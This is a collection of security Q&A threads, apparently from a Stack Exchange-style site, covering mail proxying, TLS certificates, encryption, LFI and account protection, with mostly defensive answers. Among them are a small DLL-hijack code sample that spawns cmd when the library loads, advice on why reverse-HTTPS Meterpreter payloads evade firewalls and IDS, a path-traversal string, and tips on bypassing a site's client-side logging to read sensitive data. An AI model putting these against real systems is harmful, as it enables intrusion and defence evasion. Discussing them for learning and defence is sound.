The log entries look like:

dovecot: imap-login: Login: user=<...>, method=LOGIN, rip=52.125.x.x, lip=x.x.x.x, mpid=x, TLS, session=<...>

So I can only assume that the outlook mobile client is designed to use an intermediate server.

Presumably, this is to conserve battery life by allowing the MS server to poll the real mail server and push notifications to the phone.

However, as far as I can tell, this means Microsoft must be storing (at least temporarily) the user credentials in plain-text on their intermediate servers.

Security Implications

Is it possible that they could be authenticating over a TLS tunnel from their own server rather than the client device without sharing the credentials?
Does this mean that the intermediate server is able to read mail prior to pushing it to the client?
Is this behaviour documented or known?

p.s. others seem to have noticed this behaviour:

iOS Outlook connecting to undocumented IPs
IMAP connections from Microsoft IP addresses when using Outlook

Is it possible that they could be authenticating over a TLS tunnel from their own server rather than the client device without sharing
  the credentials?

No, for the server to make the connection, it has to know the credentials.  And we know that the server does make the connection, not the client, because I captured all the packets coming off my Android tablet running Outlook 3.0.46 (315) and absolutely none of them went to the configured IMAP and SMTP server, but quite a few went to Microsoft addresses.  Even if their mail bastion acted like an HTTP CONNECT proxy, we would expect to see the TLS certificates from my servers, and I did not.

Likewise, when I sent mail to a third party, the first hop mailserver was mail.outlook.com, which had to authenticate to my mail server to send the mail through it.  That's all in the SMTP headers for the recipient to review.

So, it's their server doing the connections, not the client tunneling through.  And that means their server knows your passwords, even if only transiently.

  Does this mean that the intermediate server is able to read mail prior to pushing it to the client?

Yes, it does.

  Is this behaviour documented or known?

That's hard to say.  Their bundled documentation doesn't clearly describe it that I saw, but there's a surprising amount of documentation there.

It is worth noting that there is a legitimate technical driver for this behavior - the various phone and wireless networks your device may move between may block access to mail services; it's sort of the sole area that ingress filtering ever took off.  By forcing your communications through home base Microsoft, they can ensure that mail protocols aren't blocked at the source...

...whether that's worth it to you is another question.


Is it harmful to allow http requests with very long querystrings in IIS? I am developing a website with a search feature that could generate HTTP requests that are very long (up to 15,000) characters. However, IIS has a default limit of 2048 characters for querystrings. This can be easily changed in a web.config file using the settings listed below.

system.web > httpRuntime > maxRequestLength
system.web > httpRuntime > maxUrlLength
system.webServer > security > requestFiltering > maxQueryString
system.webServer > security > requestFiltering > maxUrl

My question is whether there are any security concerns that I should be aware of if I allow very long querystrings in HTTP requests?

Update: I should add a few bits of info.

The website will only be available to paid users who have signed into the website.
The likelihood that anyone would create a search with more than 2048 characters in the url is VERY slim, but theoretically possible.

15,000 character URLs isn't going to work very well cross-browser: https://stackoverflow.com/questions/417142/what-is-the-maximum-length-of-a-url

Assuming you already know that, in an ASP.NET application, a 16,000 character limit will increase your vulnerability to request-queue-buffer exhaustion attacks 8x. Now, 8x is not that significant compared to better DoS attacks generally open on an ASP.NET website.

Regular expression matching is not probably a big issue. Most regexp attacks work equally well with 64-character and 64,000 character strings - they exploit an exponential backtrack pattern, and your request timeout makes the URL length quite unimportant. On the upside, most of these kinds of issues will show themselves quickly in performance issues. Also, regexes generally are only applied to the path, not the querystring.

Path regexes are generally quite fast and usually exit the match at the first integer comparison, although there are exceptions.

If you raise the limit, just ensure all URL rewriting, routes, path matching, and pre-HandleRequest events are efficient, have fast exit paths, and don't do any high-latency work like disk or db access.


Read-write mount both hidden + regular TrueCrypt volume at same time? Can I read-write mount both a regular TrueCrypt volume AND a hidden
volume inside the regular volume at the same time?

The general idea would be to use the outer volume for non-sensitive
stuff and the inner hidden volume for sensitive stuff.

Because of the nature of TrueCrypt, you cannot mount both volumes at the same time. Basically, TrueCrypt takes your password and tries to decrypt the hidden volume header. If it fails, it tries the "standard" header. This way an adversary for example has no way of knowing you have a hidden volume since you're only typing in a specific password to pull the volume of your choice.

That said, your "standard" volume should just be used for dummy data anyway. If you need both,  just use two files/partitions for your volumes.

Edit: Oh, and you can't assign 2 drives to it since it's an exclusive lock (you'd get greeted with an "already mounted" error).


veil framework, reverse https and tcp payload differences I am using veil framework to bypass av, when i want to choose a payload there are many choices, there is:

rev_https_contained
python/meterpreter/rev_https
c/meterpreter/rev_tcp

My question is what is the difference between first two shell codes, and is there any advantages to use https payloads?

There are multiple benefits using https:

More likely that firewalls will accept this traffic, rather than a random port.
HTTPS encryption hides what is beeing sent over the network, so IDS/IPS systems will not see what is going on - given that there is no SSL termination (transparent).
HTTPS will look more normal in firewall logs. It is not unexpected as connections to random ports.


Sign GnuPG master key with own X.509 certificate? Can I use a trusted X.509 digital certificate to facilitate the expansion of my personal web of trust?
To be more specific:

Can I use my X.509 certificate to sign my personal GnuPG master key?
Will recipients be able to use the CA's certificates to verify that the public key is indeed mine?
How does this compare to current web of trust expansion methods such as the key signing party when it comes to the trustworthiness and authenticity of my public key?
Would this provide enough security for someone who doesn't know me personally to sign my master key?

When researching this topic, I came across this page about key signing policy:

Signing PGP keys with X.509 certificates

While a certificate from a CA is no real basis for trust in a PGP key, it may serve as a reasonable substitute when no other options are available.

Why would a signature from a national certificate authority not make a published key trustworthy?
My country implements a public key infrastructure around the PKCS #7 and X.509 standards. Their process is as follows:

CAs meet cryptographical requirements and get their keys signed by the government.
Users pay a fee to verify their identity with and get a digital certificate issued by the CA.
Certificates are issued most often as smart cards and enable legally-binding digital signatures.

It seems to me that the CA is equivalent to a person in the web of trust whose signatures can be fully trusted, as per the GnuPG documentation:

The owner has an excellent understanding of key signing, and his signature on a key would be as good as your own.

If my key can indeed be signed by such a certificate, how can a recipient of my public key not be sure it is mine, given that my identity has been personally and rather thoroughly verified by the CA?

Related Information Security.SE questions I found:

Cross-certification between worlds like X.509 and PGP?

The trust systems of OpenPGP (web of trust) and X.509 (hierarchical) are not compatible, nor are the signatures

Is is typical to create both x509 and OpenPGP key pairs?

An X.509 certificate, or a signed OpenPGP public key (same concept)

There seems to be a lot of conflicting information in a lot of different places. If a signed OpenPGP or GnuPG public key is the same thing as a X.509 certificate, how can the signatures be incompatible? Also the trust systems seem to be analogous to one another, save for the amount of bureaucracy involved.

Can I use my X.509 certificate to sign my personal GnuPG master key?

Technically, yes, you could use the private key associated with your certificate to sign the X.509 public key, as a statement of authenticity from the X.509 cert. However, I suspect you're really asking "is there an existing integrated implementation of this which is ready to be used?", and the answer  to that (as far as I'm aware) is no.

  Will recipients be able to use the CA's certificates to verify that the public key is indeed mine?

Assuming you're talking about using the CA certs to verify that the PGP public key is yours, no. You have to distribute the public part of your X.509 certificate (what we would typically just call "the certificate" - the private part is usually called "the key") to all clients who want to use it to verify anything. In SSL/TLS, this distribution happens at the start of the connection, after the ServerHello packet is sent - the server directly provides the client with its certificate. In your case, you'd have to work out some way of distributing your certificate to people. You'd also need to be able to distribute the signatures, which wouldn't be attached to the PGP keys themselves (although you could likely jury-rig the signatures into the same extensions that WoT implementations use).

  How does this compare to current web of trust expansion methods such as the key signing party when it comes to the trustworthiness and authenticity of my public key?

It's more cumbersome, lacks a real implementation, and merges two ecosystems that are designed to be separate. Web of trust allows other users to sign your public key with their private key, and publish those signatures.

As a scenario, imagine that Alice and Bob live in the same town, but I moved away and can no longer come visit. We all talk over email, signed with PGP. Before I moved, we all got together and exchanged public keys in person. Alice has just suffered a disk failure and didn't make a backup, so she has lost her keypair. She creates a new keypair, but I don't have a way of validating it. However, I trust Bob. He signs her public key with his private key, and distributes that signature. I can then trust Alice's signature by proxy, without ever validating it myself.

Introducing X.509 into this is painful. The certificate distribution alone is a major headache. If the CA goes rogue, they can issue arbitrary CAs and start socially engineering people into accepting new cross-signed keys. The other problem with an automated approach to key distribution is that it only takes one CA to go rogue - this is currently the case with PKI (especially HTTPS) and it's a major problem that we don't have strong solutions for (aside from certificate pinning).

  Would this provide enough security for someone who doesn't know me personally to sign my master key?

That's subjective. My personal answer would be no, because I don't trust the CAs to be foolproof. It makes a certain amount of sense to use web-of-trust within the PGP ecosystem itself, because the sphere of influence is each person's system, key changes are infrequent, and the system is designed from the ground up to work with email. Introducing X.509 and PKI just turns everything into a mess, and moves the sphere of influence out to third-party CAs.


FTP session opened from an unknown IP I have a website made in Magento and hosted on an Ubuntu server and since a few months have been registering FTP connections open from unknown IP trying to open the file lic.php. In the proftpd.log file I found this records:

FTP session opened.
error opening destination file '/data/myproject.com/www/temp/lic.php' for copying: No such file or directory
error opening destination file '/data/httpd/myproject.com/data/temp/lic.php' for copying: No such file or directory
error opening destination file '/data/web/myproject.com/temp/lic.php' for copying: No such file or directory
error opening destination file '/data/web/myproject.com/web/temp/lic.php' for copying: No such file or directory
error opening destination file '/data/www/html/temp/lic.php' for copying: No such file or directory
error opening destination file '/etc/apache2/htdocs/temp/lic.php' for copying: No such file or directory
error opening destination file '/home/myproject.com/temp/lic.php' for copying: No such file or directory
error opening destination file '/home/myproject.com/public_html/temp/lic.php' for copying: No such file or directory
...
...etc
FTP session closed.

At other times, it was also trying to open the apc.php file

Is this normal or should I take action on it?

Is this normal

Yes, FTP/SSH recon and brute force is pretty common. Welcome to the wild wild web.

  or should I take action on it?

You should definitely take action on it. Is there a reason why you have anonymous FTP exposed? This is highly insecure. The files in your case don't exist, but what if an attacker asks legitimate files like your application code or system files like /etc/passwd?

These are the steps you should take to avoid this:

Disable FTP and use SFTP. SFTP uses ssh tunnel and it provides both confidentiality and integrity of data during transit.
Disable anonymous logins. Turn on key based authentication and use strong keys (2048 bits or more). If keys don't work for you, use strong password.
Check the FTP logs to see if any legitimate files have been stolen.

In case you are curious where did they get your IP and why are you seeing this kind of traffic, please refer to my related answer on webmasters:
https://webmasters.stackexchange.com/a/72312/18258


My SIM card was stolen. What info besides contacts does it store? And can they break the PIN number easily?

Fundamentally, it stores (or more correctly embodies) your Identity (it's in the name) as far as your service provider is concerned. Anyone who has your not-yet-deactivated SIM is you, for the purpose of receiving calls or texts (and associated 2FA), incurring charges, etc.

Call your service provider Yesterday to have them kill the SIM.

As for breaking the PIN, does this question enlighten? It's the top hit I got from my first Google search.


Should the password be stored in a variable before encryption? I am currently writing an App using CodenameOne, and there is a login screen, where the user needs to insert their account and password.

Now I was wondering, what would be the best way to access the password field.

First of all, I need the password to be send to the server to get an auth-token. Sending the login credentials on start of the app is currently unencrypted, but I am not sure if this is a good idea in case of security, one could simply sniff the connection and get them plaintext. Changing this on the backend of  the app is no problem, so I could also send an encrypted password to get the auth-token.

But this is not my question.

My specific question in this case is:

Let's assume I have a passwordField called passwordTextField and can access it using getText().

Is it okay to encrypt it like this

String passwd = passwordTextField.getText();
String encPasswd = sha512.encrypt(passwd);

which is easier to read or would it be better to

String encPasswd = sha512.encrypt(passwordTextField.getText());

when it comes to security? Is there a difference at all?

The two code snippets will very likely compile to the exact same bytecode, so no difference. Even if it wasn't the case, passwd contains only a reference to the string containing the password, no extra copy of the value is created.


Reverse engineering server seed $server_seed = "2754f7cc9e9e243711448401ea9d483067138a6b37c70c5d80b6c59943aa6996";

$lotto = "1135567382";

$round_id = "1";

$hash = hash("sha256", $server_seed . "-" . $lotto . "-" . $round_id);

$roll = hexdec(substr($hash, 0, 8)) % 15;

echo "Round $round_id = $roll";

This code generates a number using Server seed, Lotto and round ID. My question is, would it be possible to get the server seed if you only have RoundID, Lotto and the number that is generated?

It shouldn't be, no. In theory, hashes are one way functions, which means that you cannot use the output to learn any information about the input.

Since the server_seed is only presented post-hash, without finding a vulnerability in SHA-256 there is no way to get the server_seed.


What is the mechanism for this user impersonation? I'm trying to understand how this user impersonation might have taken place. Here's the scenario:

Our controller got a call from our bank this morning about a suspicious wire transfer request. After some back-and-forth with the controller and with the bank, we've established that this is what happened:

Somebody sent an email to the bank requesting a wire transfer using an old domain of ours: joe@olddomain.com. This is an old domain that we used to use for email and which we still own. Email service is still set up for this domain, however all email address have been replaced with aliases that forward email to addresses at our new domain.
The bank replied with instructions & a form to complete.
The bad guy sent back the form, completed and signed, from a hotmail address. The bank may also have spoken to the bad guy - that's not clear to me (since I'm getting the information second hand).
The bank called us (at our phone number on record) to confirm the transaction.

The question I have is this: how did the bad guy get the email which the bank sent? We have checked the logs for both our email systems (both old and new) and there are no recorded visits from any unusual IP addresses.

I think it was a simple "reply-to" header on the original email, and the person at the bank didn't notice that the reply was being sent to a different email. But shouldn't the bank have something in place to alert the user if the "reply-to" address is different from the "from" address?

My co-worker thinks the only other possibility is the bank's DNS record being hacked to redirect outgoing email. That seems highly improbable to me - is it possible that the bank's DNS record was hacked?

Finally, are there other ways for this to work?

Always go with the simplest choice.

Almost certainly it was a forged email with a legitimate (temporary) reply-to. No need for anything more complex. The staff at the bank use the same tools as everyone else for front-end customer contacts. Do you check reply-to addresses? No, neither do I & nor does the bank. Instead, they rely on their nested processes to mitigate the risk - which worked, so no problem. At least as far as the bank is concerned, they blocked the fraud and that is about all they need to do.

Whilst the bank could have been subject to a DNS-poisoning attack, this is quite unlikely and far too complex and costly for it to have been worth-while doing for such little return.


Retail shop got my email address and sent me ads based on my activities I visited Germany this weekend and I didn't provide my email address to anyone or to any website while I was there, neither to any service related to my visit there.

I never connected to public Wi-Fi networks, only to 3G and to one private Wi-Fi of the apartment where I stayed for the night (password protected).

After 24 hours of arriving to Germany, I received an email advertising a German retail store with some articles related to my activities there.

This was only my second time to Germany, and I never provided any of personal details to any place there.

I do not have Facebook account or similar social network. I do have "Google voice search" activated on my phone (the "OK Google:..." thing).

To summarize my question: How is it possible for a retail shopping company to  get a person's email address and do targeted advertisment, without the person ever provided it with its personal data?

There are many ways this could have happend, but here is one:

Some advertising network has your email address. How they got it is impossible for me to say, but it can very well have happend long before you set foot in Germany. Perhaps you signed up for a newsletter somewhere three years ago.

That ad network has a cookie stored in your browser, that identifies you and connects you to the email they somehow got from you. When you are in Germany you visit a site that includes some ad from that network. Your cookie is then sent to them. From the IP they can tell that you are in Germany. What a great opportunity to send you some German shopping tips!


How to check if an SSH private key has passphrase or not? Let's say I have access to the private portion of an RSA key-pair. How can I check if this key has associated passphrase or not?

The keyfile will have a different header if it is password protected.  Here's the top of a key without a passphrase:

-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEA3qKD/4PAc6PMb1yCckTduFl5fA1OpURLR5Z+T4xY1JQt3eTM

And here's the top of a key which is passphrase-protected:

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,556C1115CDA822F5

AHi/3++6PEIBv4kfpM57McyoSAAaT2ECxNOA5DRKxJQ9pr2D3aUeMBaBfWGrxd/Q

Unfortunately, that only works looking at the files.  I know of no way for a server to be able to tell if the keys being presented to it were protected with a passphrase, which is the most useful place to be able to leverage that sort of info.


Redirection HTTP to HTTPS, can I prevent giving away the URL? Yes, yet another question on HTTP to HTTPS redirection.  But this one talks about a quite quirky situation.

This is a follow up question on Security of an initial redirection from http://example.com to https://example.com and Link from a Http page to a Https page - is it a security issue?.  After reading both I got worried about a small hack that I use trying to prevent:

The issues outlined in the first question.
Giving away the URLs the user access.

My original purpose with this hack was because an URL of the form http://example.org/article/<hash>/some-country-does-something-bad/ returning

HTTP/1.1 301 Moved Permanently
Location: https://example.org/article/<hash>/some-country-does-something-bad/

Gives away the information that this article actually exists on the page.

Instead I return this (more-or-less, with all the bloat removed):

HTTP/1.1 404 Not Found

<!DOCTYPE html>

    Please visit the page securely at
    https://example.org.

But now I'm vulnerable to SSLstrip.  Bummer.

Notes:

I perform this because the majority of the page is available through HTTP, but some sensitive content isn't.
I cannot switch the page completely to HTTPS because the advertisers (the font of income, so it is quite important) do not support TLS.
I do not use HSTS.
I never ever set any cookies in HTTP, and all cookies are marked secure.
The <hash> is actually sha1 of the content of the article, unless you have a link you simply cannot scan random URLs.
The users (well, most of them) are clever enough to understand that they need to change the URL by hand.

Question

Can I get rid of the SSLstrip issue?  Or, maybe, there is a better way to perform this?

(Probably there is a better way, this thing is terribly hacky, but I could not think of a cleverer way to make it work)

If you need to protect against a MITM then full-on https+HSTS is the only way, no working around that.

Regarding the 301 redirection giving away that the article exists that's not really true. The redirection can (and usually does) happen before additional actions are taken on the request. If the article doesn't exist you can send the 404 reply after the redirection.


Is super paranoid use of HaveIBeenPawned password API going to help? They way I understand HaveIBeenPawned password API is that it's a safe system because the site "can't do much with my partial hash even if they wanted to".   But is that really true?
 Is the following scenario feasible?

My password is thisisnotsecureanymore
It's SHA1 is 37cbd1e930b737e4bcbd149c2fcaccbe066ce9c4
I submit https://api.pwnedpasswords.com/range/37cbd (no match)
HaveIBeenPawned turns to the dark side and starts recording my IP + request.
I submit https://api.pwnedpasswords.com/range/37cbd (no match)
I submit https://api.pwnedpasswords.com/range/37cbd (no match)
I submit https://api.pwnedpasswords.com/range/37cbd (no match)
Over time HaveIBeenPawned gets more lists and there are 100 new 37cbd entries in it.  Mine isn't in there yet.   Periodically they
keep trying to brute force with all ~500 entries against login
portal at the IP I'm running the API from (although they could
probably just check the 100 new ones because if there was a match, I
would soon change my password and stop hitting their API.  The fact
I keep checking is also a singnal for them)
I submit https://api.pwnedpasswords.com/range/37cbd (no match)
I submit https://api.pwnedpasswords.com/range/37cbd (no match)
I submit https://api.pwnedpasswords.com/range/37cbd (no match)
HaveIBeenPawned gets 101st entry 37cbd1e930b737e4bcbd149c2fcaccbe066ce9c4 hash and doesn't tell me
about it.
HaveIBeenPawned goes to my IP address and logs in with the clear text password.

The key to the vulnerability is that I keep coming to check the same hash (revealing that it has some value to me), but because HaveIBeenPawned sits on knowledge that I don't have (news about my recently leaked password), they can use that against me.   It's a long game requiring patience, but I think it would be effective way to reduce search space.

I have two ideas how to thwart this vulnerability:

Use Tor to randomize my IP somewhat
Send 100 fake request for each real one. The signal is still in the noise it's just little bit more burried now .. is it burried enough?
Is there a better way?

If your answer, is "HaveIBeenPawned would never do that, If you don't trust HaveIBeenPawned, then just don't use them"  I already know that.  My question is "Can I use HaveIBeenPawned more safely even though I don't fully trust them"

To answer your specific question - "is super paranoid use of Have I Been Pawned password API going to help?" - yes, it is. Question is by how much and whether it's worth the effort to reduce the risk. But you make a lot of assumptions that are worth addressing:

You assume that you're using a weak password. Almost without exception, every password in Pwned Passwords is weak. One of the primary reasons is that they're often sourced from cracked hashes and strong passwords (generated by a password manager or a pass phrase)
You assume you're reusing passwords. If you're creating a unique one on your login portal then it's never going to appear in Pwned Passwords.
You assume you're publicly exposing a login portal to the world from your home IP address. There's a whole bunch of reasons why you really don't want to do this.

Thing is, if you're doing point 1 and point 2 (which you most definitely should be), there's no real value in Pwned Passwords anyway. So do that - create strong, unique passwords - and don't hit HIBP at all! And if you really, really want to check password exposure without sharing even a hash prefix, download the data for free and check it locally: https://haveibeenpwned.com/Passwords

BTW - When you say "they", it's actually just me


Do I need to trust my Paas provider? I am currently entering the world of deploying my web application to the cloud.

While trying out Paas providers like heroku, I realized, that the platform has full access to my application. The docker container I'm deploying via there command line tool is fully readable by heroku and passwords for database, external storage providers are all in my env variables that are also stored in my heroku account.

Does this mean, I need to fully trust my paas provider?

In my mind a simple VPS would be safer in that regard, because the iaas provider does not need (have?) access to my private machine. Only I have the password to that server. And my application code and passwords are inside the machine, so he has no access to it.

Of course the server would probably be more insecure to the outside world than my nodes on paas, because I have to configure the application hosting myself with a VPS and I'm certainly not as qualified as people who get paid for that stuff.

Is there some truth in this text or am I understanding something wrong here?

It is true you need to trust your Paas provider. They have full access to your stuff. What I would argue is not completely true is that a VPS is safe. It is maybe a bit safer, as it would be slightly harder for the provider to set up surveillance of your setup, but they still have full access to the underlying hypervisor, and can therefore access contents of your memory, and from there everything. If you want any real amount of security, you need a dedicated server and for full security, this dedicated server needs to be physically protected.


Looking for a tutorial on meterpreter extensions A simple custom DLL source would be sufficient.  All of the links I find on Google are dead.  I don't mind reading some clear source if there's a tutorial DLL floating about.

I tried for meterpreter and custom-payload tags... sadly no dice.

There is a sample DLL, either 'good' one and 'bad' one, including source, binary and full-blown example.
http://seclists.org/fulldisclosure/2010/Sep/22
There is a more straight-forward example for WinRAR DLL hijack:    \

 #include "stdafx.h"

 #include "stdlib.h"

int g4h()
{
    WinExec("cmd", SW_SHOW);
    return 0;
}
BOOL APIENTRY DllMain( HANDLE hModule,
                   DWORD  ul_reason_for_call,
                   LPVOID lpReserved
                 )
{
   g4h();
   return TRUE;
}

Enjoy!


What prevents me from buying a SSL certificate for a domain I don't control? Can I simply build a webserver, make its hostname "google.com", create a CSR off that server, and send that to a Certificate Authority for signing? Let's say I pick the cheapest and dodgiest outfit I can find.

Will that work? What mechanisms are in place to stop people from doing this?

I am well aware that I won't receive any traffic destined to google.com due to the DNS records pointing to the real Google, but I could MitM attack any Google traffic using this method. I could also redirect local traffic to my own server without the users knowing any better.

This is more of a problem than you think, particularly for a company like Google, because they're a frequent target for this type of shenanigans. But there are several layers of safeguards, and our protection is getting better over time.
Your first line of defense is the Certificate Authority.
They shouldn't let certificates be signed inappropriately. Each CA has its own mechanism for verifying your entitlement to purchase a cert for a given domain, but typically it includes having you do one or more of the following:

Verify ownership of the email address listed in the WHOIS info for the domain.
Verify ownership of an email address that follows one of several predetermined patterns on the domain (e.g. "administrator@{domain}")
Create a specific DNS record on the domain
Make a specific change to the website hosted at that domain

But with as many CAs as we have, a surprising number of inappropriate certs get issued. This is a case of, "you had literally ONE job," but we have to accept that mistakes will happen.
Certificate Transparency was created to help audit the CAs
There's a surprising lack of accountability and transparency on the part of CAs, so Google decided to do something about it with Certificate Transparency.
This is a public log of every certificate that the CA signs; if a cert doesn't show up in the log then it's not valid, and the log is append-only; you can't go back and scrub your history. It's still relatively new, but Chrome already requires it on certain CAs, including all EV CAs. The idea is that you can follow the log and see if your domain shows up when it shouldn't. Tools are still evolving to make this simpler, but it's a very promising technology.
Your final line of defense is key pinning
The more secure browsers will allow domain owners to "pin" one or more public keys to their domain. This is an end-around the whole PKI system and injects the trust directly into the browser. Domain owners can, via HTTP header, tell the browser to only allow certs with specific public keys, and can in fact ship that assertion pre-installed on the browser itself. This prevents an unauthorized certificate from being used, even if it has a valid CA signature.
DNSSEC and DANE is where this is eventually going to go
Probably. With DNSSEC, you can sign your DNS records, which means that you can put your public key signature right there in DNS. Which means you don't need a third-party certificate authority to sign your keys. That's a pretty elegant solution, but DNSSEC is a way off still; you can't use it with a number of OSes, and adoption is positively glacial.


Forced into using a static IV (AES) We've had to extend our website to communicate user credentials to a suppliers website (in the query string) using AES with a 256-bit key, however they are using a static IV when decrypting the information.

I've advised that the IV should not be static and that it is not in our standards to do that, but if they change it their end we would incur the [big] costs so we have agreed to accept this as a security risk and use the same IV (much to my extreme frustration).

What I wanted to know is, how much of a security threat is this? I need to be able to communicate this effectively to management so that they know exactly what they are agreeing to.

We are also using the same KEY throughout as well.

Thanks

It depends on the chaining mode. AES is a block cipher, it is applied on blocks of 16 bytes (exactly). The chaining mode defines how input data becomes several such blocks, and how output blocks are then put together. Most chaining modes need to work with some sort of "start value", which is not secret but should change for every message: that is the IV.

Reusing the same IV is deadly if you use the CTR chaining mode. In CTR mode, AES is used on a sequence of successive counter values (beginning with the IV), and the resulting sequence of encrypted blocks is combined (by bitwise XOR) with the data to encrypt (or decrypt). If you use the same IV then you get the same sequence, which is the infamous "two-time pad". Basically, by XORing two encrypted string together, you get the XOR of the two cleartext data. This opens to an awful lot of attacks, and basically the whole thing is broken.

Things are less dire if you use CBC. In CBC, the data itself is broken into 16-byte blocks. When a block is to be encrypted, it is first XORed with the previous encrypted block. The IV has the role of the "-1" block (the previous encrypted block for the first block). The main consequence of reusing the IV is that if two messages begin with the same sequence of bytes then the encrypted messages will also be identical for a few blocks. This leaks data and opens the possibility of some attacks.

To sum up, do not do that. Using the same IV with the same key ever and ever defeats the whole purpose of the IV, the reason why a chaining mode with IV was used in the first place.


PHP LFI fix with the right file permissions I'm trying to understand how to perform a LFI (specifically PHP LFI), and there is a aspect of this attack that seems to be never discussed in online articles I read: The injected file permissions.

Indeed, let's assume I can inject a file in the system. Most of the time, it is not gonna be word readable or executable (even the directory might not be traversable). Therefore, even if I can traverse a path though a ?file=../../../../../shell.php, it won't get executed.

What I'm trying to say is that, according to me, if a system running PHP is well configured and assign the right permissions to files, there is no need to worry that much about files extensions, files content ... So instead of adding multiple checks on the file injected as suggested on multiple online resources, shouldn't the dev focus on the system configuration (allow_url_include=0, file permissions,...) ? For me, it is comparable to SQL injections. You would rather use prepare statements and simple user input checking than vulnerable queries and complex user input checking with huge whitelists/blacklists.

Am I missing something ?

I would consider these two different vulnerabilities: storing a file in the remote server and the local file inclusion, which would read/execute it. Each of them can be sufficiently bad on their own.

A LFI vulnerability typically allows you reading files to which you shouldn't had access. For instance, a path traversal vulnerability in a comment system could allow reading instead the configuration of the web application and allow access to keys used by the application (like the database credentials). You can't change the file permissions so that the web application can't read it, since the application needs reading it. It just shouldn't show the contents to the user.

Another typical case would be that the application allows uploading images, and you can then include the uploaded image as a php file. The file was created by the web application, so it will be the file owner and have access to the file (if the webapp runs under a different uid than your webserver, you could remove the read permission from the owner and leave it for others so that it can be shown to the user. Still, the application may nevertheless need to read the uploaded image later, such as for generating a thumbnail).

As for storing files, it should be clear that if you are able to upload a file in the right place (eg. a file with a script extension in a folder server by the web server), it could be executed without a LFI vulnerability.


Can I make javascript think that I'm running on localhost? I have a javascript function on a website that I want to attack which is called every time if we log something. So, if we are running on localhost then, window.location.href.substr(7, 9) is "localhost". Can I make the website think that I'm running on localhost? I want to do this because redlog() is often called for logging sensitive information.
function redlog(s) {
    if (window.location.href.substr(7, 9) == "localhost") {
        console.log(s);
    }
}

Javascript is executed in your browser. Console.log() writes to the javascript console in your browser.
You can trivially edit javascript that your browser runs. Simply rewrite it to
function redlog(s) {
   console.log(s);
}

There are frameworks for doing this, such as Tampermonkey or Greasemonkey.


What is the most secure way to create a REST consumer in a MS word/excel (2013) document I am looking at a choice for consuming a rest service from a word document.  As far as I can tell there are 2 choices.

Using a .net apps as listed here:
http://msdn.microsoft.com/en-us/library/office/jj229830(v=office.15).aspx where the code would be compiled.

or using VBA/Macro as listed here:
https://stackoverflow.com/questions/19553476/how-to-make-rest-call-with-vba-in-excel.

I am aware that macros have many built in features for security and am wondering if these would out weigh the benefits of an application created and run through the apps framework.

A .NET application is more likely to be securable since so much effort goes into the security of it and there are many options.

VBA on the other hand is only designed to provide some level of automation to Office, usable by power users more than developers. It doesn't get updated much and has a rather weaker security model.

Having said that, I'm not sure how much difference you would see in the real world. The main problems with VBA, at least in enterprise type environments, is that the security model is so untrusted, it can be difficult to get IT departments to allow VBA to run at all.

So it is really down to the environment in which you need to run it. You need not just to think about the security but also how it will be delivered to client computers, how it will be maintained, what restrictions will the client PC's be operating under, how many different configurations will you need to support and those kinds of issues. No point in having something secure that can be maintained in the actual end-user environments.

Particularly note the issue in your second link about having not added a reference. Remember that this has to happen on every PC and that references can change with changes and updates on the PC. This makes supporting VBA applications fraught with problems.


Username Enumeration in 2018 - How serious is this I am looking at an application redesign and one of our business team research says that we are not getting or losing customers because they are not able to login. While I don't really care about the stats, my goal is to see that the app is secure.

The current message is as written in the ancient world "Your username or password is invalid" and this is planned to change to "Your username is invalid". Note this is only to get the username and we have a tight flow for password recovery.

I understand the abuse cases on this change, however, I am always given references of Google, eBay, Facebook... and more, that they do allow user enumeration.

Need comments on how you guys are tackling this issue, strategies, design changes - anything that will help me.

As a pentester, I generally call out username enumeration as a very low or informational issue, but this can vary based on the application I'm looking at. Things that factor into how big an issue username enum really is:

Authentication lockout enforced at the IP level. If you can only try a couple passwords before getting locked out, password guessing becomes much less practical, even with a list of valid usernames. Most attackers aren't going to have access to enough IP addresses to bypass an IP address lockout.
Password policy. If you don't enforce strong passwords on your site, username enum can degrade an already poor password hygiene. Having a list of usernames is slightly less useful if they're all using decent passwords.
Is there any value for enumerating users outside of password guessing? Does the username reveal anything about the user? Would this help an attacker guess the name of an administrative account?
One last point to keep in mind - almost every site has username enumeration in the registration flow (you can't sign up for gmail with an existing email, and the site will tell you that). One mitigation for this is the use of captchas, but this is a risk that nearly every site has to live with to some extent.

In your example regarding error messages upon login, I'll always advocate for the safer 'Invalid username/password combo' message. However, I understand that fixing security flaws can be resource intensive, and I'd rather those resources be devoted to more significant problems. If you have the time and resources to fix it, by all means do so. If you have poor password hygiene as it is, maybe prioritize this a little higher than you would otherwise.


What security controls should be in place for online updates of user's correspondance address? Addresses are one of the key pieces of security information for an account. They're used for authentication, determine where statements go, and changing an address on an account provide enough information to allow an attacker to drain an account if they get the monthly statement. Yet, they do need to be updated from time to time.

What can one do to protect against fraudulent attempts?

Certainly, one can ask an extra question that's not normally asked in the regular online banking process. That will provide some measure of protection.

I think the best defense, though, is to ensure that a change of address triggers mailing a notification to the old address. Then delay any mail to the new address for a week. If the change was fraudulent, this gives the user a reasonable opportunity to respond. Automated phone calls to the former phone number of record may also be helpful.


How effective is mobile phone verification in stopping fake user registration? Or in other words, how much work and money does someone has to do/have to have many SIM cards with many numbers, each loaded in a mobile phone.

There's three parts to this:

Cost to legitimate users
Cost to attackers
Value you are protecting.

Losing legitimate users.
It has a cost to legitimate users. Sometimes the message does not get delivered in time, or at all. This may lead to some users turning away from the service. This is a loss to you; you have lost a potential customer or user.
How big problem this is depends on your service and user base. If it's a web shop with lots of competitors, this could be very real. If it's a professional service for the only of it's kind software, it's less of a problem.
Cost to attackers
Getting a new phone number will cost me 3-4$ and some time. If what I'm after is worth more to me than 3-4$, I will get a new SIM card. If it's to protected against automated spam bots on a forum and similar, it will be somewhat more effective, as the value of their registration tends to be fairly low, so they'll not go trough the hoops just to register on your forum software.
What are you protecting?
What are you protecting? Why is fake users a problem for you?
Broadly speaking, this could be to protect against their actions, e.g. placing fake orders at a web shop, or it could be protecting against spam. If it's effective will depend on if it's a targeted attack or a general, automated, attack. Targeted attacks that go after your website is much harder to protect against.


FREAK Attack: How to disable all EXPORT ciphers in OpenSSL? As we all know all EXPORT ciphers in OpenSSL should be disabled so that we are not vulnerable to the FREAK attack.

reference-

http://blog.cryptographyengineering.com/2015/03/attack-of-week-freak-or-factoring-nsa.html

